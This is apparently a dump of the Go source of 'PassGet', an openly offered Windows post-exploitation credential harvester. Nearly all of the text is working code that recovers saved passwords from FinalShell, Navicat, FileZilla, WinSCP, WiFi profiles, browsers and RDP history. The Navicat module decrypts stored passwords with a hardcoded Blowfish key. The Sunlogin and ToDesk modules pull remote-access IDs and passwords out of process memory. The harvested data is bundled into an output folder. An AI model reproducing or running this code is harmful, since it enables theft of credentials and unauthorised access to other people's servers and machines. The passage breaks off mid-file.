29 | for _, file := range files { 30 | if strings.Contains(file, "FinalShell.lnk") { 31 | f, _ := lnk.File(file) 32 | WorkDir = f.StringData.WorkingDir 33 | break 34 | } 35 | } 36 | if WorkDir != "" { 37 | break 38 | } 39 | } 40 | if WorkDir == "" { 41 | log.Println("Can not get install path") 42 | } 43 | return WorkDir 44 | } 45 | func GetClientConfig(Path string) *ClientConfig { 46 | ConfigFilepath := Path + `\config.json` 47 | data, err := os.ReadFile(ConfigFilepath) 48 | if err != nil { 49 | fmt.Println("读取文件失败:", err) 50 | return nil 51 | } 52 | 53 | // 解析 JSON 54 | var C = new(ClientConfig) 55 | err = json.Unmarshal(data, C) 56 | if err != nil { 57 | log.Println("parse error", err) 58 | return nil 59 | } 60 | return C 61 | } 62 | func GetConnDetails(ConnFileList []string) []ServerDetail { 63 | ServerDetails := make([]ServerDetail, 0) 64 | for _, ConnFile := range ConnFileList { 65 | if !strings.Contains(ConnFile, "_connect_config.json") { 66 | continue 67 | } 68 | data, err := os.ReadFile(ConnFile) 69 | if err != nil { 70 | fmt.Println("读取文件失败:", err) 71 | return nil 72 | } 73 | var C = ServerDetail{} 74 | err = json.Unmarshal(data, &C) 75 | if err != nil { 76 | log.Println("parse error", err) 77 | return nil 78 | } 79 | if C.AuthenticationType == PASSWORD_AUTH { 80 | C.AuthType = "PASSWORD" 81 | } else if C.AuthenticationType == PUBLIC_KEY_AUTH { 82 | C.AuthType = "PUBLIC_KEY" 83 | } 84 | if C.ConectionType == SSH_AUTH { 85 | C.ConnType = "SSH" 86 | } else if C.ConectionType == RDP_AUTH { 87 | C.ConnType = "RDP" 88 | } 89 | if C.Password != "" { 90 | C.PasswordPlainText, _ = Decrypt(C.Password) 91 | } 92 | ServerDetails = append(ServerDetails, C) 93 | } 94 | return ServerDetails 95 | } 96 | -------------------------------------------------------------------------------- /modules/finalshell/modules.go: -------------------------------------------------------------------------------- 1 | package finalshell 2 | 3 | var ( 4 | PASSWORD_AUTH = 1 5 | PUBLIC_KEY_AUTH = 2 6 | SSH_AUTH = 100 7 | RDP_AUTH = 101 8 | ) 9 | 10 | type ServerDetail struct { 11 | UserName string `json:"user_name"` 12 | ConectionType int `json:"conection_type"` 13 | ConnType string 14 | AuthType string 15 | Description string `json:"description"` 16 | AuthenticationType int `json:"authentication_type"` 17 | Password string `json:"password"` 18 | Host string `json:"host"` 19 | Port int `json:"port"` 20 | Name string `json:"name"` 21 | SecretKeyId string `json:"secret_key_id"` 22 | PasswordPlainText string 23 | } 24 | type ClientConfig struct { 25 | SecretKeyList []struct { 26 | Password string `json:"password"` 27 | Name string `json:"name"` 28 | Id string `json:"id"` 29 | KeyData string `json:"key_data"` 30 | } `json:"secret_key_list"` 31 | } 32 | -------------------------------------------------------------------------------- /modules/navicat/decrypt.go: -------------------------------------------------------------------------------- 1 | package navicat 2 | 3 | import ( 4 | "crypto/sha1" 5 | "encoding/hex" 6 | "fmt" 7 | "golang.org/x/crypto/blowfish" 8 | ) 9 | 10 | func xor(a, b []byte) []byte { 11 | n := len(a) 12 | if len(b) < n { 13 | n = len(b) 14 | } 15 | result := make([]byte, n) 16 | for i := 0; i < n; i++ { 17 | result[i] = a[i] ^ b[i] 18 | } 19 | return result 20 | } 21 | 22 | func decrypt(encrypted string) (string, error) { 23 | // Compute SHA1 hash of the key 24 | key := sha1.Sum([]byte("3DC5CA39")) 25 | 26 | // Initialize Blowfish cipher with the hashed key 27 | cipher, err := blowfish.NewCipher(key[:]) 28 | if err != nil { 29 | return "", fmt.Errorf("failed to create Blowfish cipher: %w", err) 30 | } 31 | 32 | // Generate the IV by encrypting a block of all 0xFF bytes 33 | iv := make([]byte, blowfish.BlockSize) 34 | for i := range iv { 35 | iv[i] = 0xFF 36 | } 37 | cipher.Encrypt(iv, iv) 38 | 39 | // Decode the ciphertext from hex 40 | ciphertext, err := hex.DecodeString(encrypted) 41 | if err != nil { 42 | return "", fmt.Errorf("failed to decode hex string: %w", err) 43 | } 44 | 45 | // Decrypt the ciphertext 46 | cv := iv 47 | plaintext := []byte{} 48 | fullRounds := len(ciphertext) / blowfish.BlockSize 49 | leftLength := len(ciphertext) % blowfish.BlockSize 50 | 51 | // Process full blocks 52 | for i := 0; i < fullRounds; i++ { 53 | block := ciphertext[i*blowfish.BlockSize : (i+1)*blowfish.BlockSize] 54 | decrypted := make([]byte, blowfish.BlockSize) 55 | cipher.Decrypt(decrypted, block) 56 | decrypted = xor(decrypted, cv) 57 | plaintext = append(plaintext, decrypted...) 58 | cv = xor(cv, block) 59 | } 60 | 61 | // Process any remaining bytes 62 | if leftLength > 0 { 63 | cvEncrypted := make([]byte, blowfish.BlockSize) 64 | cipher.Encrypt(cvEncrypted, cv) 65 | plaintext = append(plaintext, xor(ciphertext[fullRounds*blowfish.BlockSize:], cvEncrypted[:leftLength])...) 66 | } 67 | 68 | // Return the plaintext as a string 69 | return string(plaintext), nil 70 | } 71 | -------------------------------------------------------------------------------- /modules/navicat/modules.go: -------------------------------------------------------------------------------- 1 | package navicat 2 | 3 | type ServerDetail struct { 4 | Type string `json:"type"` 5 | Host string `json:"host"` 6 | Port string `json:"port"` 7 | UserName string `json:"userName"` 8 | Password string `json:"password"` 9 | PasswordPlainText string `json:"passwordPlainText"` 10 | OraServiceNameType string `json:"oraServiceNameType"` 11 | InitialDatabase string `json:"initialDatabase"` 12 | DataBaseFileName string `json:"dataBaseFileName"` 13 | AuthSource string `json:"authSource"` 14 | } 15 | -------------------------------------------------------------------------------- /modules/navicat/navicat.go: -------------------------------------------------------------------------------- 1 | package navicat 2 | 3 | import ( 4 | "PassGet/modules/utils" 5 | "fmt" 6 | "golang.org/x/sys/windows/registry" 7 | "log" 8 | "strconv" 9 | "strings" 10 | ) 11 | 12 | var ( 13 | base = `SOFTWARE\PremiumSoft` 14 | ) 15 | 16 | func Check() (SubKeys []string, Exists bool, err error) { 17 | k, err := registry.OpenKey(registry.CURRENT_USER, base, registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE) 18 | if err != nil { 19 | return nil, false, err 20 | } 21 | defer k.Close() 22 | 23 | // 读取字符串值 24 | Keys, err := k.ReadSubKeyNames(0) 25 | if err != nil { 26 | return nil, false, err 27 | } 28 | SubKeys = GetTypeKeys(Keys) 29 | return SubKeys, true, nil 30 | } 31 | func Get() ([]ServerDetail, error) { 32 | SubKeys, exist, err := Check() 33 | if err != nil { 34 | log.Println(err) 35 | return nil, err 36 | } 37 | if !exist { 38 | log.Println("Navicat Client Not Found") 39 | return nil, nil 40 | } 41 | ServerKeys, _ := GetServerKeys(SubKeys) 42 | return GetDetails(ServerKeys) 43 | } 44 | func GetTypeKeys(Keys []string) []string { 45 | TypeKeys := make([]string, 0) 46 | for _, Key := range Keys { 47 | k, err := registry.OpenKey(registry.CURRENT_USER, base+`\`+Key, registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE) 48 | if err != nil { 49 | continue 50 | } 51 | defer k.Close() 52 | data, err := k.ReadSubKeyNames(0) 53 | if err != nil { 54 | continue 55 | } 56 | if utils.CheckIsInSlice(data, `Servers`) { 57 | TypeKeys = append(TypeKeys, fmt.Sprintf(`%s\%s`, base, Key)) 58 | } 59 | } 60 | return TypeKeys 61 | } 62 | func GetServerKeys(SubKeys []string) (ServerKeys map[string][]string, err error) { 63 | ServerKeys = make(map[string][]string, 0) 64 | for _, Key := range SubKeys { 65 | k, err := registry.OpenKey(registry.CURRENT_USER, Key+`\Servers`, registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE) 66 | defer k.Close() 67 | if err != nil { 68 | continue 69 | } 70 | Type := utils.GetSliceLastOne(strings.Split(Key, `\`)) 71 | Type = strings.Replace(Type, "Navicat", "", -1) 72 | if Type == "" { 73 | Type = "MYSQL" 74 | } 75 | Keys, err := k.ReadSubKeyNames(0) 76 | for _, key := range Keys { 77 | ServerKeys[Type] = append(ServerKeys[Type], fmt.Sprintf(`%s\Servers\%s`, Key, key)) 78 | } 79 | } 80 | return ServerKeys, nil 81 | } 82 | func GetDetails(ServerKeys map[string][]string) (Details []ServerDetail, err error) { 83 | Details = make([]ServerDetail, 0) 84 | for Type, ServerKey := range ServerKeys { 85 | for _, Key := range ServerKey { 86 | k, err := registry.OpenKey(registry.CURRENT_USER, Key, registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE) 87 | defer k.Close() 88 | if err != nil { 89 | log.Println(err) 90 | continue 91 | } 92 | Server := ServerDetail{ 93 | Type: Type, 94 | } 95 | Server.Password, _, _ = k.GetStringValue(`PWD`) 96 | if Server.Password != "" { 97 | Server.PasswordPlainText, _ = decrypt(Server.Password) 98 | } 99 | if Server.Type == "SQLITE" { 100 | Server.DataBaseFileName, _, _ = k.GetStringValue(`DatabaseFileName`) 101 | Details = append(Details, Server) 102 | continue 103 | } 104 | Server.Host, _, _ = k.GetStringValue(`Host`) 105 | Port, _, _ := k.GetIntegerValue(`Port`) 106 | Server.Port = strconv.Itoa(int(Port)) 107 | Server.UserName, _, _ = k.GetStringValue(`UserName`) 108 | if Server.Type == "MYSQL" { 109 | Details = append(Details, Server) 110 | continue 111 | } 112 | if Server.Type == "PG" || Server.Type == "MSSQL" { 113 | Server.InitialDatabase, _, _ = k.GetStringValue(`InitialDatabase`) 114 | Details = append(Details, Server) 115 | continue 116 | } 117 | if Server.Type == "MONGODB" { 118 | Server.AuthSource, _, _ = k.GetStringValue(`AuthSource`) 119 | Details = append(Details, Server) 120 | continue 121 | } 122 | if Server.Type == "ORACLE" { 123 | Server.OraServiceNameType, _, _ = k.GetStringValue(`OraServiceNameType`) 124 | Server.InitialDatabase, _, _ = k.GetStringValue(`InitialDatabase`) 125 | Details = append(Details, Server) 126 | continue 127 | } 128 | } 129 | } 130 | return Details, nil 131 | } 132 | -------------------------------------------------------------------------------- /modules/rdp/rdp.go: -------------------------------------------------------------------------------- 1 | package rdp 2 | 3 | import ( 4 | "PassGet/modules/utils" 5 | "golang.org/x/sys/windows/registry" 6 | ) 7 | 8 | func Get() error { 9 | Hosts, err := GetHistoryHost() 10 | if err != nil { 11 | return err 12 | } 13 | _ = Hosts 14 | CredentialFiles := GetCredentialFiles() 15 | _ = CredentialFiles 16 | return nil 17 | } 18 | func GetHistoryHost() ([]string, error) { 19 | k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Terminal Server Client\Servers`, registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE) 20 | if err != nil { 21 | return nil, err 22 | } 23 | defer k.Close() 24 | 25 | // 读取字符串值 26 | Keys, err := k.ReadSubKeyNames(0) 27 | if err != nil { 28 | return nil, err 29 | } 30 | Hosts := make([]string, 0) 31 | for _, key := range Keys { 32 | Hosts = append(Hosts, key) 33 | } 34 | return Hosts, nil 35 | } 36 | func GetCredentialFiles() []string { 37 | files, _, err := utils.ListFilesAndDirs(utils.WindowsCredentials) 38 | if err != nil { 39 | return nil 40 | } 41 | CredentialFiles := make([]string, 0) 42 | for _, file := range files { 43 | CredentialFiles = append(CredentialFiles, file) 44 | } 45 | return CredentialFiles 46 | } 47 | -------------------------------------------------------------------------------- /modules/run/get.go: -------------------------------------------------------------------------------- 1 | package run 2 | 3 | import ( 4 | "PassGet/modules/browser" 5 | "PassGet/modules/filezilla" 6 | "PassGet/modules/finalshell" 7 | "PassGet/modules/navicat" 8 | "PassGet/modules/sunlogin" 9 | "PassGet/modules/todesk" 10 | "PassGet/modules/utils" 11 | browser2 "PassGet/modules/utils/browser" 12 | "PassGet/modules/wifi" 13 | "PassGet/modules/winscp" 14 | "fmt" 15 | "log" 16 | ) 17 | 18 | func GetBrowser() error { 19 | if err := browser.Get(); err != nil { 20 | log.Printf("get browser data error %v", err) 21 | return err 22 | } 23 | return nil 24 | } 25 | func GetTodesk() { 26 | if Client := todesk.Get(); Client != nil { 27 | content := fmt.Sprintf("******************todesk******************\nCode:%s\nPass:%s\nInstallPath:%s\nProcName:%s\nProcId:%s\n************************************************************\n", Client.ID, Client.Pass, Client.InstallPath, Client.ProcName, Client.ProcId) 28 | e := utils.OutPutToFile(content, browser2.OutputDir) 29 | if e != nil { 30 | log.Printf("get todesk data error %v", e) 31 | } 32 | } 33 | } 34 | func GetSunlogin() { 35 | if Client := sunlogin.Get(); Client != nil { 36 | content := fmt.Sprintf("******************sunlogin******************\nCode:%s\nPass:%s\nInstallPath:%s\nProcName:%s\nProcId:%s\n************************************************************\n", Client.ID, Client.Pass, Client.InstallPath, Client.ProcName, Client.ProcId) 37 | e := utils.OutPutToFile(content, browser2.OutputDir) 38 | if e != nil { 39 | log.Printf("get sunlogin data error %v", e) 40 | } 41 | } 42 | } 43 | func GetFinalShell() { 44 | if _, ServerDetails := finalshell.Get(""); ServerDetails != nil { 45 | content := fmt.Sprintf("******************finalshell******************\n") 46 | for _, Server := range ServerDetails { 47 | content += fmt.Sprintf("------------------\nHost:%s\nPort:%d\nUserName:%s\nPassword:%s\nConnectionType:%s\nDiscription:%s\n------------------\n", Server.Host, Server.Port, Server.UserName, Server.PasswordPlainText, Server.ConnType, Server.Description) 48 | } 49 | content += fmt.Sprintf("************************************************************\n") 50 | e := utils.OutPutToFile(content, browser2.OutputDir) 51 | if e != nil { 52 | log.Printf("get finalshell data error %v", e) 53 | } 54 | } 55 | } 56 | func GetNaviCat() { 57 | if ServerDetails, err := navicat.Get(); err == nil { 58 | content := fmt.Sprintf("******************navicat******************\n") 59 | for _, Server := range ServerDetails { 60 | content += fmt.Sprintf("------------------\nType:%s\nHost:%s\nPort:%s\nUserName:%s\nPassword:%s\nAuthSource:%s\nInitialDatabase:%s\n", Server.Type, Server.Host, Server.Port, Server.UserName, Server.PasswordPlainText, Server.AuthSource, Server.InitialDatabase) 61 | } 62 | content += fmt.Sprintf("************************************************************\n") 63 | e := utils.OutPutToFile(content, browser2.OutputDir) 64 | if e != nil { 65 | log.Printf("get navicat data error %v", e) 66 | } 67 | } 68 | } 69 | func GetFileZilla() { 70 | if Servers := filezilla.Get(); Servers != nil { 71 | content := fmt.Sprintf("******************FileZilla******************\n") 72 | for _, Server := range Servers { 73 | content += fmt.Sprintf("------------------\nHost:%s\nPort:%s\nUserName:%s\nPassword:%s\n", Server.Host, Server.Port, Server.User, Server.Password) 74 | } 75 | content += fmt.Sprintf("************************************************************\n") 76 | e := utils.OutPutToFile(content, browser2.OutputDir) 77 | if e != nil { 78 | log.Printf("get sunlogin data error %v", e) 79 | } 80 | } 81 | } 82 | func GetWiFi() { 83 | if Wifis := wifi.Get(); Wifis != nil { 84 | content := fmt.Sprintf("******************wifi******************\n") 85 | for _, Wifi := range Wifis { 86 | content += fmt.Sprintf("------------------\nSSID:%s\nPassword:%s\n", Wifi.SSID, Wifi.Password) 87 | } 88 | content += fmt.Sprintf("************************************************************\n") 89 | e := utils.OutPutToFile(content, browser2.OutputDir) 90 | if e != nil { 91 | log.Printf("get Wifi data error %v", e) 92 | } 93 | } 94 | } 95 | func GetWinSCP() { 96 | if Servers := winscp.Get(""); Servers != nil { 97 | content := fmt.Sprintf("******************winscp******************\n") 98 | for _, Server := range Servers { 99 | content += fmt.Sprintf("------------------\nName:%s\nHost:%s\nProt:%s\nUserName:%s\nPassword:%s\n", Server.HostName, Server.PortNumber, Server.UserName, Server.PasswordPlain, Server.Name) 100 | } 101 | content += fmt.Sprintf("************************************************************\n") 102 | e := utils.OutPutToFile(content, browser2.OutputDir) 103 | if e != nil { 104 | log.Printf("get Wifi data error %v", e) 105 | } 106 | } 107 | } 108 | -------------------------------------------------------------------------------- /modules/run/run.go: -------------------------------------------------------------------------------- 1 | package run 2 | 3 | import ( 4 | browser2 "PassGet/modules/utils/browser" 5 | "PassGet/modules/utils/browser/fileutil" 6 | "fmt" 7 | "github.com/urfave/cli/v2" 8 | "log" 9 | "os" 10 | ) 11 | 12 | func Run() { 13 | app := &cli.App{ 14 | Name: "PassGet", 15 | Usage: "A Tool For Windows Post-exploitation Password Crawler", 16 | UsageText: "[PassGet.exe (browser/navicat/finalshell/winscp/filezilla/sunlogin/todesk/wifi...)]\nExport password data in windwos\nGithub Link: https://github.com/adeljck/PassGet", 17 | Version: "0.0.1b", 18 | HideHelpCommand: true, 19 | Action: func(c *cli.Context) error { 20 | if err := runAll(); err != nil { 21 | return err 22 | } 23 | return nil 24 | }, 25 | Commands: []*cli.Command{ 26 | { 27 | Name: "browser", 28 | Usage: "Get browser data", 29 | Action: func(c *cli.Context) error { 30 | err := GetBrowser() 31 | if err != nil { 32 | log.Fatalf("get browser data error %v", err) 33 | } 34 | return nil 35 | }, 36 | }, { 37 | Name: "nav", 38 | Usage: "Get navicat data", 39 | Action: func(c *cli.Context) error { 40 | GetNaviCat() 41 | return nil 42 | }, 43 | }, { 44 | Name: "scp", 45 | Usage: "Get winscp data", 46 | Action: func(c *cli.Context) error { 47 | GetWinSCP() 48 | return nil 49 | }, 50 | }, { 51 | Name: "filez", 52 | Usage: "Get filezilla data", 53 | Action: func(c *cli.Context) error { 54 | GetFileZilla() 55 | return nil 56 | }, 57 | }, { 58 | Name: "wifi", 59 | Usage: "Get wifi data", 60 | Action: func(c *cli.Context) error { 61 | GetWiFi() 62 | return nil 63 | }, 64 | }, { 65 | Name: "sun", 66 | Usage: "Get sunlogin data", 67 | Action: func(c *cli.Context) error { 68 | GetSunlogin() 69 | return nil 70 | }, 71 | }, { 72 | Name: "tdesk", 73 | Usage: "Get todesk data", 74 | Action: func(c *cli.Context) error { 75 | GetTodesk() 76 | return nil 77 | }, 78 | }, { 79 | Name: "fshell", 80 | Usage: "Get finalshell data", 81 | Action: func(c *cli.Context) error { 82 | GetFinalShell() 83 | return nil 84 | }, 85 | }, { 86 | Name: "svn", 87 | Usage: "Get TortoiseSVN data", 88 | Action: func(c *cli.Context) error { 89 | fmt.Println("Working on it") 90 | return nil 91 | }, 92 | }, { 93 | Name: "xman", 94 | Usage: "Get Xmanager data", 95 | Action: func(c *cli.Context) error { 96 | fmt.Println("Working on it") 97 | return nil 98 | }, 99 | }, { 100 | Name: "mxterm", 101 | Usage: "Get MobaltXterm data", 102 | Action: func(c *cli.Context) error { 103 | fmt.Println("Working on it") 104 | return nil 105 | }, 106 | }, { 107 | Name: "scrt", 108 | Usage: "Get SecureCRT data", 109 | Action: func(c *cli.Context) error { 110 | fmt.Println("Working on it") 111 | return nil 112 | }, 113 | }, 114 | }, 115 | } 116 | if err := app.Run(os.Args); err != nil { 117 | log.Fatalf("run app error %v", err) 118 | } 119 | } 120 | func runAll() error { 121 | err := GetBrowser() 122 | if err != nil { 123 | return err 124 | } 125 | GetTodesk() 126 | GetSunlogin() 127 | GetFinalShell() 128 | GetNaviCat() 129 | GetFileZilla() 130 | GetWiFi() 131 | if err := fileutil.CompressDir(browser2.OutputDir); err != nil { 132 | log.Printf("compress error %v", err) 133 | } 134 | return nil 135 | } 136 | -------------------------------------------------------------------------------- /modules/sunlogin/sunlogin.go: -------------------------------------------------------------------------------- 1 | package sunlogin 2 | 3 | import ( 4 | "PassGet/modules/utils" 5 | "PassGet/modules/utils/remote" 6 | "fmt" 7 | "golang.org/x/sys/windows" 8 | "strconv" 9 | "strings" 10 | ) 11 | 12 | type Client struct { 13 | ID string 14 | Pass string 15 | InstallPath string 16 | ProcName string 17 | ProcId string 18 | procs []utils.Proc 19 | } 20 | 21 | func Get() *Client { 22 | C := new(Client) 23 | if utils.CheckIsAdmin() { 24 | C.procs = remote.GetProcessList("SunLoginClient.exe") 25 | if C.procs != nil { 26 | C.GetFromProcess() 27 | } 28 | if C.ID != "" && C.Pass != "" { 29 | return C 30 | } 31 | fmt.Println("Get From Process Failed.") 32 | } 33 | return nil 34 | } 35 | func (C *Client) GetFromProcess() { 36 | for _, proc := range C.procs { 37 | handle, err := remote.OpenProcess(proc.PID) 38 | if err != nil { 39 | continue 40 | } 41 | defer windows.CloseHandle(handle) 42 | 43 | pattern := []byte("") 44 | //pattern := []byte(`.*`) 45 | IDs, _, err := remote.SearchMemory(handle, pattern, false) 46 | if err != nil { 47 | continue 48 | } 49 | if len(IDs) >= 17 { 50 | for _, id := range IDs { 51 | data, err := remote.ReadMemory(handle, id, 900) 52 | if err != nil { 53 | continue 54 | } 55 | 56 | remoteCode := remote.ExtractBetween(string(data), ">", "") 57 | if remote.IsNumeric(strings.ReplaceAll(remoteCode, " ", "")) { 58 | C.ID = remoteCode 59 | break 60 | } 61 | } 62 | } 63 | for _, addr := range IDs { 64 | data, err := remote.ReadMemory(handle, addr, 900) 65 | if err != nil { 66 | fmt.Printf("读取内存失败: %v\n", err) 67 | continue 68 | } 69 | 70 | password := remote.ExtractBetween(string(data), ">", "") 71 | if len(password) == 6 { 72 | C.Pass = password 73 | break 74 | } 75 | } 76 | //passwordPattern := []byte("") 77 | //passwordArray, _, err := remote.SearchMemory(handle, passwordPattern, false) 78 | //if err != nil { 79 | // continue 80 | //} 81 | //if len(passwordArray) >= 9 { 82 | // for _, addr := range passwordArray { 83 | // data, err := remote.ReadMemory(handle, addr, 900) 84 | // if err != nil { 85 | // fmt.Printf("读取内存失败: %v\n", err) 86 | // continue 87 | // } 88 | // 89 | // password := remote.ExtractBetween(string(data), ">", "") 90 | // if len(password) == 6 { 91 | // C.Pass = password 92 | // break 93 | // } 94 | // } 95 | //} 96 | if C.ID != "" && C.Pass != "" { 97 | C.InstallPath = proc.Path 98 | C.ProcName = proc.Name 99 | C.ProcId = strconv.Itoa(int(proc.PID)) 100 | return 101 | } 102 | } 103 | } 104 | -------------------------------------------------------------------------------- /modules/todesk/todesk.go: -------------------------------------------------------------------------------- 1 | package todesk 2 | 3 | import ( 4 | "PassGet/modules/utils" 5 | "PassGet/modules/utils/remote" 6 | "bytes" 7 | "fmt" 8 | "golang.org/x/sys/windows" 9 | "regexp" 10 | "strconv" 11 | ) 12 | 13 | type Client struct { 14 | ID string 15 | Pass string 16 | InstallPath string 17 | ProcName string 18 | ProcId string 19 | procs []utils.Proc 20 | } 21 | 22 | func Get() *Client { 23 | C := new(Client) 24 | if utils.CheckIsAdmin() { 25 | C.procs = remote.GetProcessList("ToDesk.exe") 26 | if C.procs != nil { 27 | C.GetFromProcess() 28 | } 29 | if C.ID != "" && C.Pass != "" { 30 | return C 31 | } 32 | fmt.Println("Get From Process Failed.") 33 | } 34 | return nil 35 | } 36 | func (C *Client) GetFromProcess() { 37 | currentDate := utils.GetCurrentDateString("20060102") 38 | pattern := []byte(currentDate) 39 | //ipc_todesk 40 | for _, proc := range C.procs { 41 | handle, err := remote.OpenProcess(proc.PID) 42 | if err != nil { 43 | continue 44 | } 45 | defer windows.CloseHandle(handle) 46 | IDs, _, err := remote.SearchMemory(handle, pattern, false) 47 | if err != nil { 48 | continue 49 | } 50 | for _, id := range IDs { 51 | startAddress := id - 250 52 | if startAddress < 0 { 53 | startAddress = 0 54 | } 55 | data, err := remote.ReadMemory(handle, startAddress, 300) 56 | if err != nil { 57 | continue 58 | } 59 | 60 | dataStr := string(data) 61 | 62 | numberPattern := regexp.MustCompile(`\b\d{9}\b`) 63 | number := numberPattern.FindString(dataStr) 64 | if number != "" { 65 | //fmt.Printf("在地址 %x 的上下文中找到的第一个9位纯数字: %s\n", id, number) 66 | C.ID = number 67 | } 68 | } 69 | _, PassByteData, err := remote.SearchMemory(handle, pattern, true) 70 | if err != nil { 71 | continue 72 | } 73 | pblock := findPattern(PassByteData, []byte("ipc_todesk"), []byte(C.ID)) 74 | passwordPattern := regexp.MustCompile(`\b[a-zA-Z0-9!@#$%^&*()]{8}\b`) 75 | //passwordPattern := regexp.MustCompile(``) 76 | p := passwordPattern.FindString(string(pblock)) 77 | if p != "" { 78 | C.Pass = C.Pass + fmt.Sprintf("[%s],", p) 79 | C.InstallPath = proc.Path 80 | C.ProcName = proc.Name 81 | C.ProcId = strconv.Itoa(int(proc.PID)) 82 | } 83 | windows.CloseHandle(handle) 84 | } 85 | } 86 | func findPattern(data []byte, startPattern, endPattern []byte) []byte { 87 | startIndex := bytes.Index(data, startPattern) 88 | if startIndex == -1 { 89 | return nil 90 | } 91 | 92 | endIndex := bytes.Index(data[startIndex:], endPattern) 93 | if endIndex == -1 { 94 | return nil 95 | } 96 | 97 | return data[startIndex : startIndex+endIndex+len(endPattern)] 98 | } 99 | -------------------------------------------------------------------------------- /modules/utils/browser/browser.go: -------------------------------------------------------------------------------- 1 | package browser 2 | 3 | var ( 4 | BrowserName string = "all" 5 | OutputDir string = "results" 6 | OutputFormat string = "csv" 7 | //verbose bool 8 | //compress bool = true 9 | ProfilePath string 10 | //isFullExport bool = true 11 | ) 12 | -------------------------------------------------------------------------------- /modules/utils/browser/byteutil/byteutil.go: -------------------------------------------------------------------------------- 1 | package byteutil 2 | 3 | var OnSplitUTF8Func = func(r rune) rune { 4 | if r == 0x00 || r == 0x01 { 5 | return -1 6 | } 7 | return r 8 | } 9 | -------------------------------------------------------------------------------- /modules/utils/browser/crypto/asn1pbe.go: -------------------------------------------------------------------------------- 1 | package crypto 2 | 3 | import ( 4 | "crypto/hmac" 5 | "crypto/sha1" 6 | "crypto/sha256" 7 | "encoding/asn1" 8 | "errors" 9 | ) 10 | 11 | type ASN1PBE interface { 12 | Decrypt(globalSalt []byte) ([]byte, error) 13 | 14 | Encrypt(globalSalt, plaintext []byte) ([]byte, error) 15 | } 16 | 17 | func NewASN1PBE(b []byte) (pbe ASN1PBE, err error) { 18 | var ( 19 | nss nssPBE 20 | meta metaPBE 21 | login loginPBE 22 | ) 23 | if _, err := asn1.Unmarshal(b, &nss); err == nil { 24 | return nss, nil 25 | } 26 | if _, err := asn1.Unmarshal(b, &meta); err == nil { 27 | return meta, nil 28 | } 29 | if _, err := asn1.Unmarshal(b, &login); err == nil { 30 | return login, nil 31 | } 32 | return nil, ErrDecodeASN1Failed 33 | } 34 | 35 | var ErrDecodeASN1Failed = errors.New("decode ASN1 data failed") 36 | 37 | // nssPBE Struct 38 | // 39 | // SEQUENCE (2 elem) 40 | // OBJECT IDENTIFIER 41 | // SEQUENCE (2 elem) 42 | // OCTET STRING (20 byte) 43 | // INTEGER 1 44 | // OCTET STRING (16 byte) 45 | type nssPBE struct { 46 | AlgoAttr struct { 47 | asn1.ObjectIdentifier 48 | SaltAttr struct { 49 | EntrySalt []byte 50 | Len int 51 | } 52 | } 53 | Encrypted []byte 54 | } 55 | 56 | // Decrypt decrypts the encrypted password with the global salt. 57 | func (n nssPBE) Decrypt(globalSalt []byte) ([]byte, error) { 58 | key, iv := n.deriveKeyAndIV(globalSalt) 59 | 60 | return DES3Decrypt(key, iv, n.Encrypted) 61 | } 62 | 63 | func (n nssPBE) Encrypt(globalSalt, plaintext []byte) ([]byte, error) { 64 | key, iv := n.deriveKeyAndIV(globalSalt) 65 | 66 | return DES3Encrypt(key, iv, plaintext) 67 | } 68 | 69 | // deriveKeyAndIV derives the key and initialization vector (IV) 70 | // from the global salt and entry salt. 71 | func (n nssPBE) deriveKeyAndIV(globalSalt []byte) ([]byte, []byte) { 72 | salt := n.AlgoAttr.SaltAttr.EntrySalt 73 | hashPrefix := sha1.Sum(globalSalt) 74 | compositeHash := sha1.Sum(append(hashPrefix[:], salt...)) 75 | paddedEntrySalt := paddingZero(salt, 20) 76 | 77 | hmacProcessor := hmac.New(sha1.New, compositeHash[:]) 78 | hmacProcessor.Write(paddedEntrySalt) 79 | 80 | paddedEntrySalt = append(paddedEntrySalt, salt...) 81 | keyComponent1 := hmac.New(sha1.New, compositeHash[:]) 82 | keyComponent1.Write(paddedEntrySalt) 83 | 84 | hmacWithSalt := append(hmacProcessor.Sum(nil), salt...) 85 | keyComponent2 := hmac.New(sha1.New, compositeHash[:]) 86 | keyComponent2.Write(hmacWithSalt) 87 | 88 | key := append(keyComponent1.Sum(nil), keyComponent2.Sum(nil)...) 89 | iv := key[len(key)-8:] 90 | return key[:24], iv 91 | } 92 | 93 | // MetaPBE Struct 94 | // 95 | // SEQUENCE (2 elem) 96 | // OBJECT IDENTIFIER 97 | // SEQUENCE (2 elem) 98 | // SEQUENCE (2 elem) 99 | // OBJECT IDENTIFIER 100 | // SEQUENCE (4 elem) 101 | // OCTET STRING (32 byte) 102 | // INTEGER 1 103 | // INTEGER 32 104 | // SEQUENCE (1 elem) 105 | // OBJECT IDENTIFIER 106 | // SEQUENCE (2 elem) 107 | // OBJECT IDENTIFIER 108 | // OCTET STRING (14 byte) 109 | // OCTET STRING (16 byte) 110 | type metaPBE struct { 111 | AlgoAttr algoAttr 112 | Encrypted []byte 113 | } 114 | 115 | type algoAttr struct { 116 | asn1.ObjectIdentifier 117 | Data struct { 118 | Data struct { 119 | asn1.ObjectIdentifier 120 | SlatAttr slatAttr 121 | } 122 | IVData ivAttr 123 | } 124 | } 125 | 126 | type ivAttr struct { 127 | asn1.ObjectIdentifier 128 | IV []byte 129 | } 130 | 131 | type slatAttr struct { 132 | EntrySalt []byte 133 | IterationCount int 134 | KeySize int 135 | Algorithm struct { 136 | asn1.ObjectIdentifier 137 | } 138 | } 139 | 140 | func (m metaPBE) Decrypt(globalSalt []byte) ([]byte, error) { 141 | key, iv := m.deriveKeyAndIV(globalSalt) 142 | 143 | return AES128CBCDecrypt(key, iv, m.Encrypted) 144 | } 145 | 146 | func (m metaPBE) Encrypt(globalSalt, plaintext []byte) ([]byte, error) { 147 | key, iv := m.deriveKeyAndIV(globalSalt) 148 | 149 | return AES128CBCEncrypt(key, iv, plaintext) 150 | } 151 | 152 | func (m metaPBE) deriveKeyAndIV(globalSalt []byte) ([]byte, []byte) { 153 | password := sha1.Sum(globalSalt) 154 | 155 | salt := m.AlgoAttr.Data.Data.SlatAttr.EntrySalt 156 | iter := m.AlgoAttr.Data.Data.SlatAttr.IterationCount 157 | keyLen := 